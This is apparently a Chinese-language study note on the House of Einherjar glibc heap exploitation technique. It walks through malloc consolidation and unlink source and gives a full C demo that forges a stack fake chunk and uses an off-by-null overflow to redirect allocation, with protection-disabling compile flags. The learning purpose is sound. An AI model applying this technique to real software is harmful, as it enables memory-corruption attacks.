House of Einherjar
前言
总算是开始系统的梳理一遍堆溢出中的一个利用手法,也是很久没有写笔记了。这一片也是第一篇不是写题目做的笔记,是为了先看完所有的一个利用方法,再更好得去做题吧。
从这篇开始,依次做完23个demo的学习文章
相关源码
也是有源码分析了文件路径(malloc/malloc.c)
consolidate backward
1 2 3 4 5 6
| if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
这段代码是向后合并的操作,p是刚刚被释放的堆块。如果它的prev_inuse位是0 的话(正常情况是上一个相邻堆块被释放),就会执行这段代码。先把前一个堆块的大小(p->prev_size)赋给prevsize,把p的大小修改为两个堆块的大小之和。通过p的地址减去上一个堆块的大小,找到合并后,p应该在的地址,并更新p。再用新的p去执行unlink。
unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
unlink操作在这里没有具体的利用,我们只是最后需要绕过这样的一个检测。让它可以正常进行合并。关于unlink前半部分的代码,会在unlink专属的文章中介绍。这里第9行是针对lagebin的一个检测,而在我们这个利用手法中,基本都是lagebin,所以我们需要对这个fd_nextsize和bk_nextsize,做一个绕过的检测。因为当lagebin中只有一个堆块时,fd_nextsize和bk_nextsize,都指p自己,所以我们把这两个设置为p的地址即可。
consolidate into top
1 2 3 4 5 6
| else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); }
|
这段就是就是把与topchunk 相邻的空闲堆块与top chunk合并。并更新top chunk的大小和地址。
原理和条件
原理
其实原理,我觉得就是指利用的思路,并不是单纯的指源码的操作,这不是我们利用手法的原理。
这里是这样,利用某些手段伪造出一个fakechunk,这个chunk位于我们想要分配的目的地址上(记为target)。 同时,我们利用可以正常分配到的一个 chunk (记为p)。通过修改p 的 prevsize和pre_inuse,让p 和target 合并为一个堆块,当然p本身是与topchunk相邻的。此时,target 和 p 都被 topchunk 合并为新的topchunk。此时topchunk 的地址,就迁移到了 target 所在的地址。那么再次分配堆地址,就可以把这个空间分配到手。
条件
1.伪造fakechunk ,需要泄露 栈地址和堆地址。总之要能泄露地址
2.off-by-one 或off-by-null,要能修改pre_inuse。
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h>
int main() { setbuf(stdin,NULL); setbuf(stdout,NULL);
uint8_t* a; uint8_t* b; uint8_t* c;
a=(uint8_t*)malloc(0x38); size_t* a_addr=(size_t *)(a-sizeof(size_t)*2); size_t a_size=malloc_usable_size(a); printf("\033[1;33m这里,我们申清一个堆块a,假设存在溢出漏洞。需要通过a去溢出:\033[0m\n"); printf("a的地址(包含chunk头):%p\n",a_addr); printf("a的大小(不含chunk头):%lx\n\n",a_size); size_t fakechunk[6]; fakechunk[0]=0x100,fakechunk[1]=0x100; fakechunk[2]=(size_t)fakechunk; fakechunk[3]=(size_t)fakechunk; fakechunk[4]=(size_t)fakechunk; fakechunk[5]=(size_t)fakechunk; printf("\033[1;33m假设,我们通过某种方法,构造了如下的一个fakechunk:\033[0m\n"); printf("fakechunk的地址(包含chunk头):%p\n",fakechunk); printf("fd: %#lx\n",fakechunk[2]); printf("bk: %#lx\n",fakechunk[3]); printf("fd_nextsize: %#lx\n",fakechunk[4]); printf("bk_nextsize: %#lx\n\n",fakechunk[5]); b=(uint8_t*)malloc(0xf8); size_t* b_size_ptr=(size_t*)(b-sizeof(size_t)); size_t* b_addr=(size_t *)(b-sizeof(size_t)*2); printf("\033[1;33m这里创建一个堆块b,作为合并的关键堆块:\033[0m\n"); printf("b的地址(含chunk头): %p\n",b_addr); printf("b的size位:%#lx\n\b",*b_size_ptr); printf("b的prev_size: %#lx\n\n",*b_addr);
printf("\033[1;33m那么,对于现在创建的堆块b,我们可以通过溢出去修改它的一些数据:\033[0m\n"); a[a_size]=0; printf("修改后b的size位:%#lx\n",*b_size_ptr);
size_t fakesize=(size_t)((uint8_t *)(b_addr)-(uint8_t *)fakechunk); printf("b的prev_size应该用 b 的地址减 fakechunk 的地址: %p-%p=%#lx\n",b_addr,fakechunk,fakesize); *(size_t *)&a[a_size-sizeof(size_t)]=fakesize; printf("修改后b的prev_size: %#lx\n\n",*b_addr); fakechunk[1]=fakesize; free(b); printf("合并后fakechunk的size: %#lx\n",fakechunk[1]); printf("是b.size+b.prev_szie+b.next_szie(也就是topchunk的大小)得来的\n"); c=(uint8_t*)malloc(0x200); size_t* c_addr=(size_t *)(c-sizeof(size_t)*2); printf("\033[1;33m最后申清一个堆块c,并查看一下是否达到了我们的目的:\033[0m\n"); printf("c的地址(包含chunk头):%p\n",c_addr); }
|
说明
请在ubuntu16下编译(即使用glibc-2.23)。编译时记得关掉pie,这样便于打断点。
编译时参数(只能在64位下编译)
1
| gcc -ggdb demo.c -o demo -z execstack -fno-stack-protector -no-pie -z norelro
|
这个demo是自己写的,在how2heap的基础上添加了一些基础的描述。希望可以更清楚的表达出,漏洞利的一个思路。同时,关于合并后的size大小,这里描述也做了修改。因为合并是b和fakechunk以及topchunk,所以最后的大小理论上也是三个堆块的大小相加。

事实上,也确实如此
逐步演示
创建a堆块


伪造fakechunk

创建b堆块

篡改b的size的pre_inuse 位

篡改b的prev_size

修改fakechunk的size

free(b)
